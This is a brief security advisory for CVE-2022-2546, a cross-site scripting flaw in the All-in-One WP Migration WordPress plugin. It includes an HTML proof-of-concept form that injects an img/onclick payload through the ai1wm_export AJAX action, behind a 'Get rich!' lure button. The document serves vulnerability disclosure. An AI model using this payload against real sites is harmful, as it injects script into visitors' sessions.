- Published on
CVE-2022-2546
Report
Date: 23/08/2022
Author: OpenXP Team
Software: All-in-One WP Migration
Version: All-in-One WP Migration < 7.63
Type: Cross-Site Scripting
OWASP TOP 10: A03:2021-Injection
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
References: https://wpscan.com/vulnerability/f84920e4-a1fe-47cf-9ba5-731989c70f58/
Description
The plugin uses the wrong content type, and does not properly escape the response from the ai1wm_export AJAX action, allowing an attacker to craft a request that when submitted by any visitor will inject arbitrary html or javascript into the response that will be executed in the victims session. Note: This requires knowledge of a static secret key
Proof of Concept (POC)
<form action="https://example.com/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1" method="POST">
<!--
Note: The secret key must be obtained through other means.
It is stored in the site option `ai1wm_secret_key`, but is
static for the lifetime of the site.
-->
<input type="hidden" name="secret_key" value="[secret_key]">
<input type="hidden" name="ai1wm_manual_export" value="1">
<input type="hidden" name="archive" value="<img src=x onclick=alert(/XSS/)>">
<input type="submit" value="Get rich!">
</form>